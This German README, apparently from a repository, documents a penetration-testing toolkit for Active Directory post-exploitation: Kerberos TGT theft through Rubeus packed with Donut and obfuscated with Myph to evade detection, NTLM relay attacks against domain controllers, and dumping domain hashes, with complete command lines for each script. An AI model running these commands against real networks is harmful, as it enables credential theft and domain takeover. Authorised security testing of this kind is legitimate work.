
Automatisiertes Post-Exploitation-Toolkit für Active Directory zur Extraktion von Kerberos-Tickets, NTLM-Relay-Angriffen und lateraler Bewegung via NetExec, Impacket und Donut-Integration.
Dieses Repository enthält eine Sammlung von Python-Orchestrator-Skripten, die für Sicherheitsbewertungen und Penetrationstests in Active Directory-Umgebungen entwickelt wurden. Diese Tools sind speziell für Post-Exploitation-Szenarien ausgelegt, bei denen bereits lokaler Administratorzugriff auf einem kompromittierten Arbeitsplatz oder Server besteht und das Ziel die laterale Bewegung oder Privilegienerweiterung innerhalb der gesamten Active Directory-Domäne ist.
Durch die Automatisierung von Workflows, die gängige Sicherheitsutilities wie NetExec, Impacket, Donut und BloodyAD nutzen, vereinfachen diese Skripte komplexe mehrstufige Prozesse zu wiederholbaren Ein-Befehl-Operationen.
Die Skripte erfordern, dass die folgenden Tools auf dem Hostsystem installiert und im System-PATH verfügbar sind:
nxc)impacket-ntlmrelayx, impacket-secretsdump, impacket-ticketConverter)awk, base64Für eine verbesserte Konsolenausgabe-Formatierung installieren Sie die folgenden Pakete:
pip install colorama rich
harpyTGT.py)Dieses Skript automatisiert die Extraktion eines Kerberos Ticket Granting Ticket (TGT) aus einer angemeldeten Windows-Sitzung und konvertiert es in ein Linux-kompatibles ccache-Format.
Rubeus.exe-Shellcode-Payload über Donut, wendet Obfuskation mit Myph an und führt das resultierende Binary auf dem Zielhost entweder mittels geplanter Tasks (schtask_as) oder mmcexec aus.Standard-Ausführung (Zielbenutzer hat administrative Rechte):
./harpyTGT.py -t <ZIEL_IP> -u <LOKALER_ADMIN_BENUTZER> -p <LOKALES_ADMIN_PASSWORT> -U <ZIEL_BENUTZER> -r </pfad/zu/Rubeus.exe>
Alternative Ausführung (Zielbenutzer hat keine administrativen Rechte):
./harpyTGT.py -t <ZIEL_IP> -u <LOKALER_ADMIN_BENUTZER> -p <LOKALES_ADMIN_PASSWORT> -U <ZIEL_BENUTZER> -r </pfad/zu/Rubeus.exe> --no-target-admin --attacker-ip <ANGREIFER_IP>

harpyRelay.py)Dieses Skript koordiniert NTLM-Relay-Angriffe, die auf falsch konfigurierte SMB- oder LDAP-Signing-Richtlinien auf Domain-Controllern abzielen, um eine domänenweite Privilegienerweiterung zu erreichen oder einen NTDS-Datenbank-Dump (DCSync) durchzuführen.
ntlmrelayx-Listener, löst über NetExec eine Authentifizierungsanfrage vom kompromittierten Client aus, überwacht die Ausgabe auf erfolgreiche Ausnutzung und führt einen Dump der Domänen-Hashes durch. Das Tool enthält automatisierte Bereinigungsroutinen, um den Fußabdruck in der Zieldomäne zu minimieren.LDAPS-Flow (Standard):
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOKALER_ADMIN> --local-pass <LOKALES_PASSWORT> --domain-admin-user <DOMÄNEN_ADMIN> --attacker-ip <ANGREIFER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL>
LDAP-Flow (Alternativer Flow, wenn LDAPS nicht verfügbar ist):
./harpyRelay.py --target-host <CLIENT_IP> --local-user <LOKALER_ADMIN> --local-pass <LOKALES_PASSWORT> --domain-admin-user <DOMÄNEN_ADMIN> --attacker-ip <ANGREIFER_IP> --dc-ip <DC_IP> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGTEin benutzerdefiniertes Modul für NetExec (nxc), das zur Extraktion des Kerberos Ticket Granting Ticket (TGT) eines bestimmten angemeldeten Benutzers auf dem Zielrechner entwickelt wurde.
Das Modul interagiert über mmcexec als SYSTEM, automatisiert die Erstellung eines ausweichenden Payloads (Kapselung von Rubeus mit Donut und Myph), führt es im Speicher aus, erfasst die Base64-Ausgabe des Tickets und konvertiert sie transparent in eine .ccache-Datei, die unter Linux verwendbar ist.
Das Modul überprüft automatisch, ob die folgenden Utilities installiert und in Ihrem $PATH verfügbar sind:
donutmyphimpacket-ticketConverterUm das externe Modul in NetExec zu laden, kopieren Sie das Skript stealTGT.py in Ihr lokales NetExec-Modulverzeichnis:
cp stealTGT.py ~/.nxc/modules/
netexec smb <ZIEL_IP> -u <ADMIN_BENUTZER> -p <ADMIN_PASSWORT> --local-auth -M stealTGT -o USER=<ZIEL_BENUTZER> RUBEUS=/pfad/zu/Rubeus.exe
Moduloptionen (-o):
USER: Der Benutzername der aktuell angemeldeten Sitzung, aus der Sie das TGT ernten möchten (z. B. jdoe).RUBEUS: Der lokale Pfad auf Ihrem Angreifer-Rechner, an dem sich die legitime Rubeus.exe-Binary befindet.

bloodyad oder netexec, sobald die Vorgänge abgeschlossen sind.WICHTIGER HINWEIS: Dieses Repository ist ausschließlich für autorisierte Sicherheitsaudits, Sicherheitsforschung und Bildungszwecke bestimmt. Das Ausführen dieser Tools gegen Produktionsinfrastrukturen ohne vorherige ausdrückliche schriftliche Genehmigung der Systemeigentümer ist strengstens untersagt. Der Autor übernimmt keine Haftung für Missbrauch, Kollateralschäden oder rechtliche Konsequenzen, die aus dem Einsatz dieser Software resultieren.